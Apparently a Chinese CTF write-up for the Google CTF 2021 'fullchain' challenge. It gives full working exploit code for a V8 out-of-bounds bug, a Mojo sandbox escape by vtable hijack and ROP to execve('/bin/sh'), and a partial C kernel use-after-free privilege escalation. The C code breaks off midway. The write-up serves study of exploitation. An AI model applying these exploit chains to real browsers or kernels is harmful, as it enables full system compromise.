2021-google-ctf-pwn-fullchain

2021 google ctf 一道 pwn 题的复现,正如题目的名字,这是一条利用链,从 v8 到 sandbox-escape 再到 kernel pwn 提权

环境搭建

官方附件:

https://storage.googleapis.com/gctf-2021-attachments-project/c12856fc6c010d643763e678265f7921b7a44dcd7bcb5ced32634d21dfdff0c5f9542d6a5bdcc6639d8834ab1ff25b263affd8952b11e972c2066aa3cae71540

官方题目源码:https://github.com/google/google-ctf/tree/master/2021/quals/pwn-fullchain
(环境很大,要搭建很久)

远程环境:fullchain.2021.ctfcompetition.com 1337

chromium 的 commit 为:1be58e78c7ec6603d416aed4dfae757334cd4e1e

为了方便地调试 v8 的漏洞,需要搭建一下 v8 的环境,可以在下面的链接找到对应的 v8 commit :https://chromium.googlesource.com/chromium/src/+/1be58e78c7ec6603d416aed4dfae757334cd4e1e/DEPS

找到到 v8_revision 字段,得到 commit

...
  'v8_revision': '0cf641358acebb26c2b7ddc047b1b41597d344c8',
...

搭建 v8 的调试环境即可

漏洞分析

题目要求输入一个 html 文件,交给 chrome 解析,flag 在 /dev/vdb 里,并且要 root 权限

那么要从 chrome 任意代码执行,然后 kernel pwn 提权了

从 chrome 到任意代码执行

先来看看 chrome,题目用两个 patch 构造了两个 bug,分别对应 v8 和 Mojo

v8_bug.patch:

diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..ac5ebe9913 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -198,7 +198,7 @@ TypedArrayPrototypeSetTypedArray(implicit context: Context, receiver: JSAny)(
   if (targetOffsetOverflowed) goto IfOffsetOutOfBounds;
 
   // 9. Let targetLength be target.[[ArrayLength]].
-  const targetLength = target.length;
+  // const targetLength = target.length;
 
   // 19. Let srcLength be typedArray.[[ArrayLength]].
   const srcLength: uintptr = typedArray.length;
@@ -207,8 +207,8 @@ TypedArrayPrototypeSetTypedArray(implicit context: Context, receiver: JSAny)(
 
   // 21. If srcLength + targetOffset > targetLength, throw a RangeError
   //   exception.
-  CheckIntegerIndexAdditionOverflow(srcLength, targetOffset, targetLength)
-      otherwise IfOffsetOutOfBounds;
+  // CheckIntegerIndexAdditionOverflow(srcLength, targetOffset, targetLength)
+  //     otherwise IfOffsetOutOfBounds;
 
   // 12. Let targetName be the String value of target.[[TypedArrayName]].
   // 13. Let targetType be the Element Type value in Table 62 for

这个 patch 很简单,把 TypedArray 的 set 方法的边界检查给去掉了

set 方法是从指定索引开始给数组填充数据,没有了边界检查,那么就可以越界写了

从越界写构造任意读写,那么就可以做很多事情了,当然了执行 shellcode 拿 shell 是不行的,因为 chrome 开启了 sandbox,v8 引擎的进程运行在 sandbox 中,很多系统调用如 execve 都无法使用,想要拿到 shell,就要利用接下来的 Mojo 的漏洞进行 sandbox-escape 了

来看看 Mojo 的 bug,在文件 sbx_bug.patch 中,patch 给 Mojo 添加了一个 interface,有 ResizeVector,Read,Write 方法如下:

void CtfInterfaceImpl::ResizeVector(uint32_t size,
                                    ResizeVectorCallback callback) {
  numbers_.resize(size);
  std::move(callback).Run();
}

void CtfInterfaceImpl::Read(uint32_t offset, ReadCallback callback) {
  std::move(callback).Run(numbers_[offset]);
}

void CtfInterfaceImpl::Write(double value,
                             uint32_t offset,
                             WriteCallback callback) {
  numbers_[offset] = value;
  std::move(callback).Run();
}

其中 numbers_ 成员是 std::vector 类,可以看到 Read 和 Write 方法都没有对索引进行越界检查,而且 std::vector 类对运算符 [] 的重载中,也是没有边界检查的,所以 Read 和 Write 可以任意越界读写,且 Mojo 的进程是不在 sandbox 里的,利用任意越界读写可以在 Mojo 的进程里执行 shellcode 就能拿到 shell

v8 exploit

默认情况下,chrome 是不开启 Mojo 的功能的,需要添加相应的启动参数,但是 chrome 是有一些全局的 flags 控制运行时开启某些功能,开启 Mojo 的 flag 是 is_mojo_js_enabledis_mojo_js_test_enabled,这两个是布尔类型的变量,通过 v8 的漏洞,将这两个变量改写为 true,重新加载页面即可开启 Mojo

从越界写到越界读写

调试以下代码:

let a = new Uint32Array(1);
let b = new Uint32Array(1);
let oob_arr = [1.1, 1.2, 1.3, 1.4];

%DebugPrint(b);
%DebugPrint(oob_arr);
%SystemBreak();

可以看到数组 b 的 data_ptr 即数组的起始地址:
data_ptr

以及数组 oob_arr 的信息:
oob_arr

oob_arr 的长度为 4,因为 smi 用最低 bit 为 0 标记,那么 length 在内存中的值为 8,可以看到在如下地址处:
length

那么越界改写 oob_arr 的 length 字段,即可利用 oob_arr 造成任意越界读写,计算偏移如下:
offset_overwrite_length

那么只要 b.set([fake_length], 32),即可达到改写 oob_arr 的 length 字段了,后续代码如下:

a.set([444444], 0);
b.set(a, 32);
%SystemBreak();

可以看到 length 字段成功被改写:
oob

addrOf

泄露地址的方式很简单,构造 Float 和 Object 的类型混淆就行,通过 Object 数组放入对象,再利用 oob_arr 越界把对象当作浮点数(也就是对象的地址)读出来即可:

let a = new Uint32Array(1);
let b = new Uint32Array(1);
let oob_arr = [1.1, 1.2, 1.3, 1.4];
let obj_faker = [{}];

%DebugPrint(b);
%DebugPrint(oob_arr);
%DebugPrint(obj_faker);
%SystemBreak();

调试看到 obj_faker 和 oob_arr 的信息:
obj_faker

oob_arr

计算偏移:
offset_addrOf

注意: 因为 FixedDoubleArray 每个元素的大小是 8 字节,所以计算索引的时候是除以 8,而 FixedArray 每个元素都是对象的指针或者 smi (小整数),而且是 pointer compress (即指针压缩)的,占用 4 字节,所以 leak 出来的低 4 字节才是对象地址(压缩后的)

根据偏移可以编写 addrOf 函数了:

function addrOf(obj) {
    obj_faker[0] = obj;
    return oob_arr[7].f2i() & 0xfffffffn
}

为了方便浮点数和整数的转换还添加了下面的代码:

let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}
AAR/AAW

大多数情况下,可以利用 oob_arr 的越界写,改写 ArrayBuffer 的 backing_store 指针,来进行任意地址读写

不过这里参照 Hatena 师傅的 wp #Hatena_wp,可以利用 TypedArray 类似的字段进行任意地址读写,先看看下面代码:

let a = new Uint32Array(1);
let b = new Uint32Array(1);
let oob_arr = [1.1, 1.2, 1.3, 1.4];
let obj_faker = [{}];
let float_arr = new Float64Array(1);

%DebugPrint(b);
%DebugPrint(oob_arr);
%DebugPrint(obj_faker);
%DebugPrint(float_arr);
%SystemBreak();

可以看到,data_ptr 由 base_pointer 和 external_pointer 组成:
TypedArray_data_ptr

可以发现 data_ptr = external_pointer + base_pointer,而且这个 external_pointer 含有完整指针的高 4 字节的地址,有了这个也可以得到对象的完整的 64 bit 的地址了
data_ptr_mem

同样地计算偏移后即可构造处任意地址读写:

let old_28 = oob_arr[28];  // external_pointer
let old_29 = oob_arr[29];  // base_pointer
let r13 = old_28.f2i() & 0xffffffff00000000n

console.log('old_28 = ' + old_28.f2i().hex());
console.log('old_29 = ' + old_29.f2i().hex());

function arb_read(addr) {
    oob_arr[28] = ((addr & 0xffffffff00000000n) | 7n).i2f()
    oob_arr[29] = (((addr - 8n) | 1n) & 0xffffffffn).i2f();

    return float_arr[0].f2i();
}

function arb_write(addr, value) {
    oob_arr[28] = ((addr & 0xffffffff00000000n) | 7n).i2f()
    oob_arr[29] = (((addr - 8n) | 1n) & 0xffffffffn).i2f();

    float_arr[0] = value.i2f();
}
Enable Mojo

有了任意地址读写和 leak 用的 addrOf,可以先泄露 chrome 的基地址

泄露 chrome 的基地址用到了 DOM 结点对象,这里使用 div ,在 +0xC 偏移处含有一个 chrome 段内的指针,计算可得 chrome 的地址:

let div = document.createElement('div');
let div_addr = addrOf(div) - 1n;
console.log('div_addr = ' + div_addr.hex());

let chrome_base = arb_read(r13 | (div_addr + 0xCn)) - 0x000000000c1bb7c0n;
console.log('chrome_base = ' + chrome_base.hex());

上面的偏移,只能先 leak 出来看看,然后查符号表看看低 12 bits 相同的有哪些一个个试了

最后改写 is_mojo_js_enabledis_mojo_js_test_enabled 为 true(非 0 值)刷新页面:

let is_mojo_js_enabled = chrome_base + 0x000000000c560f0en;
let is_mojo_js_test_enabled = chrome_base + 0x000000000c560f0fn;


// enable mojo
arb_write(is_mojo_js_enabled, 1n);
arb_write(is_mojo_js_test_enabled, 1n);

console.log('mojo enable!');
window.location.reload();

偏移可以通过查符号表获得:

$ nm --demangle chromium/chrome | grep is_mojo
000000000c560f0e b blink::RuntimeEnabledFeaturesBase::is_mojo_js_enabled_
000000000c560f0f b blink::RuntimeEnabledFeaturesBase::is_mojo_js_test_enabled_

因为刷新页面后,这个页面的 js 对象就要回收了,因为我们改写了 TypedArray 的两个指针,可能会在释放内存的时候 crash,所以需要恢复这两个指针再刷新:

function cleanup() {
    oob_arr[28] = old_28;
    oob_arr[29] = old_29;
}

cleanup()
window.location.reload();

实际上好像并不会 crash,应该和环境有关


至此,完整的代码如下:

<script src="mojo/mojo_bindings.js"></script>
<script src="mojo/third_party/blink/public/mojom/CTF/ctf_interface.mojom.js"></script>
<script>
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}



function make_objs() {
    let a = new Uint32Array(1);
    let b = new Uint32Array(1);
    let oob_arr = [1.1, 1.2, 1.3, 1.4];
    let obj_faker = [{}];
    let float_arr = new Float64Array(1);

    a.set([444444], 0);
    b.set(a, 32);

    return [oob_arr, obj_faker, float_arr];
}


function enable_mojo() {
    let [oob_arr, obj_faker, float_arr] = make_objs();
    console.log('oob_arr.length = ' + oob_arr.length);

    let old_28 = oob_arr[28];  // external_pointer
    let old_29 = oob_arr[29];  // base_pointer
    let r13 = old_28.f2i() & 0xffffffff00000000n

    console.log('old_28 = ' + old_28.f2i().hex());
    console.log('old_29 = ' + old_29.f2i().hex());

    
    function addrOf(obj) {
        obj_faker[0] = obj;
        return oob_arr[7].f2i() & 0xfffffffn
    }

    function arb_read(addr) {
        oob_arr[28] = ((addr & 0xffffffff00000000n) | 7n).i2f()
        oob_arr[29] = (((addr - 8n) | 1n) & 0xffffffffn).i2f();

        return float_arr[0].f2i();
    }
    
    function arb_write(addr, value) {
        oob_arr[28] = ((addr & 0xffffffff00000000n) | 7n).i2f()
        oob_arr[29] = (((addr - 8n) | 1n) & 0xffffffffn).i2f();

        float_arr[0] = value.i2f();
    }

    let div = document.createElement('div');
    let div_addr = addrOf(div) - 1n;
    console.log('div_addr = ' + div_addr.hex());

    let chrome_base = arb_read(r13 | (div_addr + 0xCn)) - 0x000000000c1bb7c0n;
    console.log('chrome_base = ' + chrome_base.hex());

    let is_mojo_js_enabled = chrome_base + 0x000000000c560f0en;
    let is_mojo_js_test_enabled = chrome_base + 0x000000000c560f0fn;


    // enable mojo
    arb_write(is_mojo_js_enabled, 1n);
    arb_write(is_mojo_js_test_enabled, 1n);

    console.log('mojo enable!');

    window.location.reload();
}


async function sandbox_escape() {
// ...
}

async function pwn() {
    try {
        if (typeof(Mojo) === 'undefined') {
            console.log("enabling mojo ...");
            enable_mojo()
        } else {
            console.log("sandbox escape ...");
            await sandbox_escape();
        }
    } catch (e) {
        console.log(e.stack);
    }
}

pwn()
</script>

Sandbox Escape

刷新页面之后就开启了 Mojo,可以开始与 Mojo 交互了

先写好与 CtfInterface 交互的函数:

async function ctfRead(ctf, offset) {
    let buf = new ArrayBuffer(8);
    let f_b = new Float64Array(buf);
    let i_b = new BigUint64Array(buf);

    let float_val =  await ctf.read(offset).then(r => {return r.value});

    f_b[0] = float_val;
    return BigInt(i_b[0]);
}

async function ctfWrite(ctf, offset, value) {
    let buf = new ArrayBuffer(8);
    let f_b = new Float64Array(buf);
    let i_b = new BigUint64Array(buf);

    i_b[0] = value;
    return await ctf.write(f_b[0], offset).then(r => {return r.value});
}

async function ctfResize(ctf, size) {
    return await ctf.resizeVector(size).then(r => {return r.value});
}

function ctfCreate() {
    let ctf = new blink.mojom.CtfInterfacePtr;
    let req = new mojo.makeRequest(ctf);
    
    Mojo.bindInterface(blink.mojom.CtfInterface.name, req.handle);

    return ctf;
}

由于与 Mojo 的通信方式大多数是回调的方式(从 C++ 源码中也可以发现),基本都是异步的,为了方便,使用 async 的函数来写

Mojo 与 v8 运行在不同的进程里,我们还要 leak 出 Mojo 所在进程的地址,才能在后续构造 ROP 拿 shell

逆向可以发现 Ctf 对象存在如下结构:

+ 0x00 vtable_ptr
+ 0x08 vector_base
+ 0x10 vector_end

只要通过越界写,更改 vtable_ptr 即可劫持虚表,从而劫持程序控制流,控制 vector_basevector_base 字段还可以方便的进行任意地址的读写

find Ctf Object

由于 Mojo 对象的内存地址不稳定, 需要不断的分配对象,根据特征,直到找到为止:

let vec_base = 0;
let vec_end = 0;
let size = 4;
let rop_len = 0x10;
let vtable = 0;
let vtable_offset = 0;
let ctf, arb;

console.log('finding vector address...');
while (vtable_offset == 0) {
    ctf = ctfCreate();
    arb = ctfCreate();
    await ctfResize(ctf, size);
    await ctfResize(arb, rop_len);

    for (let i = 0; i < size; i++) {
        await ctfWrite(ctf, i, 0xfebabedeadbeefn);
    }

    for (let i = 0; i < rop_len; i++) {
        await ctfWrite(arb, i, 0xfebabedeadbeefn);
    }

    for (let i = 4; i < 0x1000; i++) {
        let val = await ctfRead(ctf, i);

        if ((val & 0xfffn) == 0x4e0n) { //(vtable & 0xfff) == 0x4e0
            let base = await ctfRead(ctf, i+1);
            let end = await ctfRead(ctf, i+2);
            
            if (end > base && Number(end - base) == 8 * rop_len) {  // found!
                vtable = BigInt(val);
                vec_base = BigInt(base);
                vec_end = BigInt(end);
                vtable_offset = i;

                console.log(`${vtable_offset}: vtable = 0x${vtable.toString(16)}, vec_base = 0x${vec_base.toString(16)}, vec_end = 0x${vec_end.toString(16)}`);
                break;
            }

        }
    } // for (let i = 4; i < 0x1000; i++)
} // while (vec_base == 0)

同时得知了 Ctf 对象的虚表指针,可以计算得到程序的基址:

let chrome_base = vtable - 0xbc774e0n;

然后还可以构造任意地址读写:

async function arb_read(addr) {    
    await ctfWrite(ctf, vtable_offset+1, addr);
    await ctfWrite(ctf, vtable_offset+2, addr+8n);

    let val = await ctfRead(arb, 0);

    await ctfWrite(ctf, vtable_offset+1, vec_base);
    await ctfWrite(ctf, vtable_offset+2, vec_end);

    return val;
}

async function arb_write(addr, val) {    
    await ctfWrite(ctf, vtable_offset+1, addr);
    await ctfWrite(ctf, vtable_offset+2, addr+8n);

    let val = await ctfWrite(arb, 0, val);

    await ctfWrite(ctf, vtable_offset+1, vec_base);
    await ctfWrite(ctf, vtable_offset+2, vec_end);

    return val;
}

不过最终的 exp 中没有用到上面的任意地址读写的函数

ROP

为什么要使用 ROP,而不是利用上面的任意地址读写,来泄露 libc 地址再改 __free_hook 的方式呢?

有多种原因:

  1. 题目没有给 libc,泄露了 libc 地址,还得麻烦去查是上面版本的 libc
  2. 程序是 C++,调试的时候发现,malloc 和 free 都不是 glibc 里的 malloc 和 free,实际是 C++ 的 allocator,虽然调试的时候发现同样有类似的 hook,但是参数不好控制
  3. 程序使用了 execve,只要知道程序基址,很容易就可以算出 plt 的位置,不需要过多的 leak

要想 ROP 就要控制栈,直接布局 ROP 在栈上是不太可能的,可以考虑栈迁移

调试下 chrome:

$ python3 -m http.server &
$ gdb chromium/chrome
set args --headless --disable-gpu --remote-debugging-port=9222 --user-data-dir=/tmp/userdata --enable-logging=stderr --js-flags="--allow-natives-syntax" http://127.0.0.1:8000/exploit.html
set follow-fork-mode parent
b CtfInterfaceImpl::Read(unsigned int, base::OnceCallback<void (double)>)
r

可以发现调用方法的时候,rax 寄存器存的就是虚表的指针:
debug

程序含有 xchg rax, rsp; ret 的 gadget,那么可以栈迁移到虚表的地方进行 ROP,可以先伪造一个虚表,布置 ROP,然后改写 vtable 指针指向伪造的虚表,触发 xchg rax, rsp; ret 后栈迁移进行 ROP,执行 execve("/bin/sh", {NULL}, {NULL} 即可:

let fake_vtable = vec_base;
let rop_base = vec_base;

await ctfWrite(arb, 0, chrome_base + 0x3d994e1n);   // add rsp, 0x20; pop rbp; ret;
await ctfWrite(arb, 2, chrome_base + 0x590510en);   // xchg rax, rsp; ret; -> ResizeVector (rax = vtable)

await ctfWrite(arb, 6, chrome_base + 0x37bb280n);   // pop rdi
await ctfWrite(arb, 7, rop_base+14n*8n);            // addrOf"/bin/sh"

await ctfWrite(arb, 8, chrome_base + 0x099b8ee0n);  // pop rsi
await ctfWrite(arb, 9, rop_base + 13n * 8n);        // args

await ctfWrite(arb, 10, chrome_base + 0x3655332n);  // pop rdx
await ctfWrite(arb, 11, rop_base + 13n * 8n);       // env

await ctfWrite(arb, 12, execve_plt);

// env
// await ctfWrite(arb, 13, rop_base + 14n * 8n);       // addrOf"/bin/sh"
await ctfWrite(arb, 13, 0n);                        // NULL
await ctfWrite(arb, 14, 0x68732f6e69622fn);         // "/bin/sh"
await ctfWrite(arb, 15, 0n);                        // NULL

console.log('change vtable ...');
await ctfWrite(ctf, vtable_offset, fake_vtable);

console.log('pwn!');
await ctfResize(arb, 0x2333);

最终从 chrome 到拿 shell 的完整 exp 如下:

<script src="mojo/mojo_bindings.js"></script>
<script src="mojo/third_party/blink/public/mojom/CTF/ctf_interface.mojom.js"></script>
<script>
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}



function make_objs() {
    let a = new Uint32Array(1);
    let b = new Uint32Array(1);
    let oob_arr = [1.1, 1.2, 1.3, 1.4];
    let obj_faker = [{}];
    let float_arr = new Float64Array(1);

    a.set([444444], 0);
    b.set(a, 32);

    return [oob_arr, obj_faker, float_arr];
}


function enable_mojo() {
    let [oob_arr, obj_faker, float_arr] = make_objs();
    console.log('oob_arr.length = ' + oob_arr.length);

    let old_28 = oob_arr[28];  // external_pointer
    let old_29 = oob_arr[29];  // base_pointer
    let r13 = old_28.f2i() & 0xffffffff00000000n

    console.log('old_28 = ' + old_28.f2i().hex());
    console.log('old_29 = ' + old_29.f2i().hex());

    
    function addrOf(obj) {
        obj_faker[0] = obj;
        return oob_arr[7].f2i() & 0xfffffffn
    }

    function arb_read(addr) {
        oob_arr[28] = ((addr & 0xffffffff00000000n) | 7n).i2f()
        oob_arr[29] = (((addr - 8n) | 1n) & 0xffffffffn).i2f();

        return float_arr[0].f2i();
    }
    
    function arb_write(addr, value) {
        oob_arr[28] = ((addr & 0xffffffff00000000n) | 7n).i2f()
        oob_arr[29] = (((addr - 8n) | 1n) & 0xffffffffn).i2f();

        float_arr[0] = value.i2f();
    }

    let div = document.createElement('div');
    let div_addr = addrOf(div) - 1n;
    console.log('div_addr = ' + div_addr.hex());

    let chrome_base = arb_read(r13 | (div_addr + 0xCn)) - 0x000000000c1bb7c0n;
    console.log('chrome_base = ' + chrome_base.hex());

    let is_mojo_js_enabled = chrome_base + 0x000000000c560f0en;
    let is_mojo_js_test_enabled = chrome_base + 0x000000000c560f0fn;


    // enable mojo
    arb_write(is_mojo_js_enabled, 1n);
    arb_write(is_mojo_js_test_enabled, 1n);

    console.log('mojo enable!');

    window.location.reload();
}


async function sandbox_escape() {
    async function ctfRead(ctf, offset) {
        let buf = new ArrayBuffer(8);
        let f_b = new Float64Array(buf);
        let i_b = new BigUint64Array(buf);

        let float_val =  await ctf.read(offset).then(r => {return r.value});
    
        f_b[0] = float_val;
        return BigInt(i_b[0]);
    }

    async function ctfWrite(ctf, offset, value) {
        let buf = new ArrayBuffer(8);
        let f_b = new Float64Array(buf);
        let i_b = new BigUint64Array(buf);

        i_b[0] = value;
        return await ctf.write(f_b[0], offset).then(r => {return r.value});
    }

    async function ctfResize(ctf, size) {
        return await ctf.resizeVector(size).then(r => {return r.value});
    }

    function ctfCreate() {
        let ctf = new blink.mojom.CtfInterfacePtr;
        let req = new mojo.makeRequest(ctf);
        
        Mojo.bindInterface(blink.mojom.CtfInterface.name, req.handle);

        return ctf;
    }


    let vec_base = 0;
    let vec_end = 0;
    let size = 4;
    let rop_len = 0x10;
    let vtable = 0;
    let vtable_offset = 0;
    let ctf, arb;

    console.log('finding vector address...');
    while (vtable_offset == 0) {
        ctf = ctfCreate();
        arb = ctfCreate();
        await ctfResize(ctf, size);
        await ctfResize(arb, rop_len);

        for (let i = 0; i < size; i++) {
            await ctfWrite(ctf, i, 0xfebabedeadbeefn);
        }

        for (let i = 0; i < rop_len; i++) {
            await ctfWrite(arb, i, 0xfebabedeadbeefn);
        }

        for (let i = 4; i < 0x1000; i++) {
            let val = await ctfRead(ctf, i);

            if ((val & 0xfffn) == 0x4e0n) { //(vtable & 0xfff) == 0x4e0
                let base = await ctfRead(ctf, i+1);
                let end = await ctfRead(ctf, i+2);
                
                if (end > base && Number(end - base) == 8 * rop_len) {  // found!
                    vtable = BigInt(val);
                    vec_base = BigInt(base);
                    vec_end = BigInt(end);
                    vtable_offset = i;

                    console.log(`${vtable_offset}: vtable = 0x${vtable.toString(16)}, vec_base = 0x${vec_base.toString(16)}, vec_end = 0x${vec_end.toString(16)}`);
                    break;
                }

            }
        } // for (let i = 4; i < 0x1000; i++)
    } // while (vec_base == 0)

    // async function arb_read(addr) {    
    //     await ctfWrite(ctf, vtable_offset+1, addr);
    //     await ctfWrite(ctf, vtable_offset+2, addr+8n);

    //     let val = await ctfRead(arb, 0);

    //     await ctfWrite(ctf, vtable_offset+1, vec_base);
    //     await ctfWrite(ctf, vtable_offset+2, vec_end);

    //     return val;
    // }

    // async function arb_write(addr, val) {    
    //     await ctfWrite(ctf, vtable_offset+1, addr);
    //     await ctfWrite(ctf, vtable_offset+2, addr+8n);

    //     let val = await ctfWrite(arb, 0, val);

    //     await ctfWrite(ctf, vtable_offset+1, vec_base);
    //     await ctfWrite(ctf, vtable_offset+2, vec_end);

    //     return val;
    // }
    
    let chrome_base = vtable - 0xbc774e0n;
    // let execve_got = chrome_base + 0x0000c2cf5f8n;
    console.log(`chrome_base = ${chrome_base.hex()}`);

    // let execve = await arb_read(execve_got);
    let execve_plt = chrome_base + 0xbb89d50n;


    // let __libc_start_main_got = chrome_base + 0xC29C0C0n;
    // await ctfWrite(ctf, vtable_offset+1, __libc_start_main_got);
    // await ctfWrite(ctf, vtable_offset+2, __libc_start_main_got+8n);

    // let __libc_start_main = await ctfRead(arb, 0);
    // console.log(`printf = ${__libc_start_main.hex()}`);
    
    // let lbase = __libc_start_main - 0x26fc0n;
    // let system = lbase + 0x55410n


    // // restore
    // await ctfWrite(ctf, vtable_offset+1, vec_base);
    // await ctfWrite(ctf, vtable_offset+2, vec_end);


    
    console.log('write rop ...');
    
    let fake_vtable = vec_base;
    let rop_base = vec_base;

    await ctfWrite(arb, 0, chrome_base + 0x3d994e1n);   // add rsp, 0x20; pop rbp; ret;
    await ctfWrite(arb, 2, chrome_base + 0x590510en);   // xchg rax, rsp; ret; -> ResizeVector (rax = vtable)
    
    await ctfWrite(arb, 6, chrome_base + 0x37bb280n);   // pop rdi
    await ctfWrite(arb, 7, rop_base+14n*8n);            // addrOf"/bin/sh"
    
    await ctfWrite(arb, 8, chrome_base + 0x099b8ee0n);  // pop rsi
    await ctfWrite(arb, 9, rop_base + 13n * 8n);        // args
    
    await ctfWrite(arb, 10, chrome_base + 0x3655332n);  // pop rdx
    await ctfWrite(arb, 11, rop_base + 13n * 8n);       // env

    await ctfWrite(arb, 12, execve_plt);

    // env
    // await ctfWrite(arb, 13, rop_base + 14n * 8n);       // addrOf"/bin/sh"
    await ctfWrite(arb, 13, 0n);                        // NULL
    await ctfWrite(arb, 14, 0x68732f6e69622fn);         // "/bin/sh"
    await ctfWrite(arb, 15, 0n);                        // NULL

    console.log('change vtable ...');
    await ctfWrite(ctf, vtable_offset, fake_vtable);

    console.log('pwn!');
    await ctfResize(arb, 0x2333);

}

async function pwn() {
    try {
        if (typeof(Mojo) === 'undefined') {
            console.log("enabling mojo ...");
            enable_mojo()
        } else {
            console.log("sandbox escape ...");
            await sandbox_escape();
        }
    } catch (e) {
        console.log(e.stack);
    }
}

pwn()
</script>

pwn

注意: script 引入的 mojo 目录实际上是题目的 mojo_bindings 目录
mojo_bindings

简单的 kernel pwn

逃逸拿到 shell 后就是 kernel pwn 提权了,题目直接就给了驱动的源码:

...

struct ctf_data {
  char *mem;
  size_t size;
};

static struct cdev ctf_cdev;
static const struct file_operations ctf_fops = {
  .owner = THIS_MODULE,
  .open = ctf_open,
  .release = ctf_release,
  .read = ctf_read,
  .write = ctf_write,
  .unlocked_ioctl = ctf_ioctl,
};

static ssize_t ctf_read(struct file *f, char __user *data, size_t size, loff_t *off)
{
  struct ctf_data *ctf_data = f->private_data;
  if (size > ctf_data->size) {
    return -EINVAL;
  }

  if (copy_to_user(data, ctf_data->mem, size)) {
    return -EFAULT;
  }

  return size;
}

static ssize_t ctf_write(struct file *f, const char __user *data, size_t size, loff_t *off)
{
  struct ctf_data *ctf_data = f->private_data;
  if (size > ctf_data->size) {
    return -EINVAL;
  }

  if (copy_from_user(ctf_data->mem, data, size)) {
    return -EFAULT;
  }

  return size;
}

static ssize_t ctf_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
{
  struct ctf_data *data = f->private_data;
  char *mem;

  switch(cmd) {
  case 1337:
    if (arg > 2000) {
      return -EINVAL;
    }

    mem = kmalloc(arg, GFP_KERNEL);
    if (mem == NULL) {
      return -ENOMEM;
    }

    data->mem = mem;
    data->size = arg;
    break;

  case 1338:
    kfree(data->mem);
    break;

  default:
    return -ENOTTY;
  }

  return 0;
}

static int ctf_open(struct inode *inode, struct file *f)
{
  struct ctf_data *data = kzalloc(sizeof(struct ctf_data), GFP_KERNEL);
  if (data == NULL) {
    return -ENOMEM;
  }

  f->private_data = data;

  return 0;
}

static int ctf_release(struct inode *inode, struct file *f)
{
  kfree(f->private_data);
  return 0;
}

...

漏洞很简单,free 后指针未置为 NULL,可以 UAF

比较简单的方式是,UAF 修改 cred 结构体,但是题目的内核使用了一种 cred_jar 的安全机制,cred 的分配独立于普通的 malloc,所以无法使用这种方式

那么还可以利用 tty_struct 来劫持程序控制流执行 commit_creds(prepare_kernel_cred(0))

也可以修改 file 结构体的 f_ops 指针来劫持程序控制流,并且 f_ops 调用时,rdi 寄存器指向的就是 file 结构体,可以利用 set_memory_x(addr) 来将 file 结构体的内存设置为可执行,随后布置 shellcode 执行 commit_creds(prepare_kernel_cred(0)) 得到 root 权限

这部分比较简单,就直接放出 exp 了,相信结合注释很容易就看懂了:

#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>


#define KERNCALL __attribute__((regparm(3)))
#define PREPARE_KERNEL_CRED 0xffffffff8108c2f0
#define COMMIT_CREDS 0xffffffff8108c0c0
#define SET_MEMORY_X 0xffffffff8105b0d0

struct ctf_data {
  char *mem;
  size_t size;
};

#define MEM_SCAN_SIZE 0x10000000
uint64_t buffer[MEM_SCAN_SIZE / sizeof(uint64_t)];
int fd[3];
struct ctf_data ctf[2];

void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0; 
void (*commit_creds)(void*) KERNCALL = (void*) 0; 

void shell() 
{
   system("/bin/sh");
   exit(0);
}

ssize_t alloc(int fd, size_t size)
{
    return ioctl(fd, 1337, size);
}

ssize_t delete(int fd)
{
    return ioctl(fd, 1338, 0);
}

int arb_read(uint64_t addr, void *buf, uint64_t size)
{
    ctf[0].mem = (char *)addr;
    ctf[0].size = size;

    if (write(fd[0], &ctf[0], sizeof(struct ctf_data)) < 0) {
        return -1;
    }

    return read(fd[1], buf, size);
}

int arb_write(uint64_t addr, void *buf, uint64_t size) 
{
    ctf[0].mem = (char *)addr;
    ctf[0].size = size;

    if (write(fd[0], &ctf[0], sizeof(struct ctf_data)) < 0) {
        return -1;
    }

    return write(fd[1], buf, size);
}



int main(int argc, char const *argv[])
{

    
    printf("setup uaf...\n");
    if ((fd[0] = open("/dev/ctf", O_RDWR)) < 0)
        return -1;

    alloc(fd[0], sizeof(struct ctf_data)); 
    delete(fd[0]);

    if ((fd[1] = open("/dev/ctf", O_RDWR)) < 0)
        return -2;
    alloc(fd[1], sizeof(struct ctf_data)); 
    delete(fd[1]);

    if ((fd[2] = open("/dev/ctf", O_RDWR)) < 0)
        return -3;
    alloc(fd[2], 2000);


    // ctf[0] -> fd[1]'s ctf_data
    read(fd[0], &ctf[0], sizeof(struct ctf_data));

    // ctf[1] -> fd[2]'s ctf_data
    read(fd[1], &ctf[1], sizeof(struct ctf_data));

    if (ctf[0].size != sizeof(struct ctf_data)) {
        printf("failed to setup uaf(1)\n");
        return -3;
    }

    if (ctf[1].size != 2000) {
        printf("failed to setup uaf(2)\n");
        return -3;
    }

    // search file whose private_data point to ctf[0].mem (fd[1]'s ctf_data.mem -> ctf[1])
    uint64_t start = (char *)((uint64_t) ctf[0].mem & 0xfffffffff0000000);
    uint64_t target = (uint64_t) ctf[0].mem;
    printf("from %p to %p search %lx\n", start, start + MEM_SCAN_SIZE, target);
    if (arb_read(start, buffer, MEM_SCAN_SIZE) < 0) {
        return -4;
    }


    uint64_t file_addr = -1;
